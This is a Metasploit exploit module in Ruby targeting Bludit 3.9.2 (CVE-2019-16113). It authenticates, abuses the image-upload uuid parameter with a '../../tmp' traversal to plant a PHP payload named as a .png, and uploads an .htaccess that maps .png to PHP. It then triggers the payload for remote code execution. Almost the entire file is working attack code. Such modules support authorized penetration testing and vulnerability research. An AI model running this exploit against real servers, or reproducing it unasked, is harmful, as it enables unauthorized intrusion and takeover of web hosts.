##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Bludit Directory Traversal Image File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
        parameter in the image upload feature in order to save a malicious payload anywhere
        onto the server, and then use a custom .htaccess file to bypass the file extension
        check to finally get remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'christasa', # Original discovery
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2019-16113'],
          ['URL', 'https://github.com/bludit/bludit/issues/1081'],
          ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Targets'        =>
        [
          [ 'Bludit v3.9.2', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "2019-09-07",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
        OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
        OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
      ])
  end

  class PhpPayload
    attr_reader :payload
    attr_reader :name

    def initialize(p)
      @payload = p
      @name = "#{Rex::Text.rand_text_alpha(10)}.png"
    end
  end

  class LoginBadge
    attr_reader   :username
    attr_reader   :password
    attr_accessor :csrf_token
    attr_accessor :bludit_key

    def initialize(user, pass, token, key)
      @username = user
      @password = pass
      @csrf_token = token
      @bludit_key = key
    end
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'index.php')
    })

    unless res
      vprint_error('Connection timed out')
      return CheckCode::Unknown
    end

    html = res.get_html_document
    generator_tag = html.at('meta[@name="generator"]')
    unless generator_tag
      vprint_error('No generator metadata tag found in HTML')
      return CheckCode::Safe
    end

    content_attr = generator_tag.attributes['content']
    unless content_attr
      vprint_error("No content attribute found in metadata tag")
      return CheckCode::Safe
    end

    if content_attr.value == 'Bludit'
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def get_uuid(login_badge)
    print_status('Retrieving UUID...')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
      'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    html = res.get_html_document
    uuid_element = html.at('input[@name="uuid"]')
    unless uuid_element
      fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
    end

    uuid_val = uuid_element.attributes['value']
    unless uuid_val && uuid_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No UUID value')
    end

    uuid_val.value
  end

  def upload_file(login_badge, uuid, content, fname)
    print_status("Uploading #{fname}...")

    data = Rex::MIME::Message.new
    data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
    data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
    data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'cookie'  => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
      'data'    => data.to_s
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end
  end

  def upload_php_payload_and_exec(login_badge)
    # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
    # To: /var/www/html/bludit/bl-content/tmp
    uuid = get_uuid(login_badge)
    php_payload = get_php_payload
    upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)

    # On the vuln app, this line occurs first:
    # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
    # Even though there is a file extension check, it won't really stop us
    # from uploading the .htaccess file.
    htaccess = <<~HTA
    RewriteEngine off
    AddType application/x-httpd-php .png
    HTA
    upload_file(login_badge, uuid, htaccess, ".htaccess")
    register_file_for_cleanup('.htaccess')

    print_status("Executing #{php_payload.name}...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
    })
  end

  def get_php_payload
    @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
  end

  def get_login_badge(res)
    cookies = res.get_cookies
    bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''

    html = res.get_html_document
    csrf_element = html.at('input[@name="tokenCSRF"]')
    unless csrf_element
      fail_with(Failure::Unknown, 'No tokenCSRF found')
    end

    csrf_val = csrf_element.attributes['value']
    unless csrf_val && csrf_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No tokenCSRF value')
    end

    LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
  end

  def do_login
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'index.php')
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    login_badge = get_login_badge(res)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'admin', 'index.php'),
      'cookie'    => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'vars_post' =>
        {
          'tokenCSRF' => login_badge.csrf_token,
          'username'  => login_badge.username,
          'password'  => login_badge.password
        }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    # A new csrf value is generated, need to update this for the upload
    if res.headers['Location'].to_s.include?('/admin/dashboard')
      store_valid_credential(user: login_badge.username, private: login_badge.password)
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
        'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
      })

      unless res
        fail_with(Failure::Unknown, 'Connection timed out')
      end

      new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
      login_badge.csrf_token = new_csrf if new_csrf
      return login_badge
    end

    fail_with(Failure::NoAccess, 'Authentication failed')
  end

  def exploit
    login_badge = do_login
    print_good("Logged in as: #{login_badge.username}")
    upload_php_payload_and_exec(login_badge)
  end
end
